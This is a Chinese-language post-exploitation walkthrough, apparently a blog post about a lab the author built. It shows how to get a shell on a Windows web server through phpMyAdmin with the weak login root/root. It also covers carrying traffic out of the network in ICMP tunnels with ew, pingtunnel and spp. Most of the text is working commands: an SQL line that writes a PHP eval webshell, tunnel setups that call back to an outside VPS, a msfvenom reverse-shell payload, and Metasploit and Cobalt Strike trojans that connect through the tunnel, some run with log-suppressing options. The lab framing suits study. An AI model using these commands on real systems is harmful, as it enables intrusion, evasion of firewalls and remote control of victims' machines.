前言
在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^
通过环境搭建,满足以下条件:
192.168.3.76(kali)模拟公网vp/s地址,WEB服务器1(windows server2019)模拟公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台WIndows内网服务器,Web服务器可以访问该机器远程桌面。当我们拿到web服务器1的shell之后发现只能使用icmp协议访问公网vp/s(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器进行后续攻击操作。
windows环境:
系统:windows server 2019(WEB服务器)、windows server2008 R2(内网服务器)
WEB服务器1使用phpstudy搭建web服务,防火墙配置策略能访问内网服务器。隧道打通之后可以用来访问内网服务器远程桌面测试。
工具:phpstudy
用来开启web服务,web服务直接使用phpstudy默认功能即可(phpstudy探针+phpmyadmin弱口令)。WEB服务器防火墙入站规则仅开启80端口TCP,用来攻击获取shell。
一、获取WEB服务器shell
1 phpstudy探针得到网站路径
C:/phpStudy/WWW
2 phpmyadmin弱口令root/root
http://192.168.3.88/phpmyadmin
通过phpstudy开启的服务,使用弱口令连接phpmyadmin
3 写入webshell
show global variables like '%secure_file_priv%'; NULL 不允许导入或导出 /tmp 只允许在 /tmp 目录导入导出 空 不限制目录
这里是空值
写入webshell
select '<?php @eval($_POST[ch4nge]);?>' into outfile 'C:/phpStudy/WWW/ch4nge.php';
4 蚁剑连接
二、ew+pingtunnel组合建立socks5隧道
ew
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
https://github.com/idlefire/ew
pingtunnel
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密
https://github.com/esrrhs/pingtunnel
1 v/ps-kali执行
./ew_for_linux64 -s rcsocks -l 10080 -e 8898 ./pingtunnel -type server
将8898收到的请求转发至10080端口
2 WEB服务器执行pingtunnel
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1
3 WEB服务器执行ew
ew.exe -s rssocks -d 127.0.0.1 -e 9999
ew回显OK,隧道已打通!
4 连接代理
使用proxifier设置代理
远程桌面测试
远程桌面测试
三、pingtunnel上线MSF&CS
1 pingtunnel下载链接
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密
https://github.com/esrrhs/pingtunnel/releases
2 v/ps服务端开启
./pingtunnel -type server ##开启服务器模式
回显0连接
3 客户端开启
上传客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1 pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口
执行后,kali有回显
4 MSF上线
制作木马,木马的回连地址为127.0.0.1:9999,运行上线MSF
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe
监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; "
把木马ch4nge.exe从蚁剑上传到靶机,运行
5 CS上线
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
建立监听127.0.0.1:9999和192.168.3.76:7777
对ICMP-127的监听生成木马ch4nge2.exe,传到靶机运行
CS监听上线
四、spp搭建socks5隧道
反向代理用于进入目标内网,正向代理可配合远控工具进行上线
功能 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理 协议和类型可以自由组合 外部代理协议和内部转发协议可以自由组合 支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android
1 下载
https://github.com/esrrhs/spp
https://github.com/esrrhs/spp/releases
2 V/PS执行
./spp -type server -proto ricmp -listen 0.0.0.0
3 WEB服务器执行
spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :8080 -proxyproto tcp -proto ricmp spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp
V/PS回显
成功搭建隧道!
4 设置代理
socks5:v/ps:8080
192.168.3.76:8080
远程连接内网服务器
结束!
五、spp上线CS
1 V/PS执行
./spp -type server -proto ricmp -listen 0.0.0.0
2 WEB服务器执行
spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp spp -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp # -nolog 1不输出日志,-noprint 1不打印内容 spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
3 CS监听上线
建立监听127.0.0.1:8082和192.168.3.76:8081
对spp-127的监听生成木马ch4nge3.exe,传到靶机运行
CS监听上线
V/PS回显
wireshark捕获数据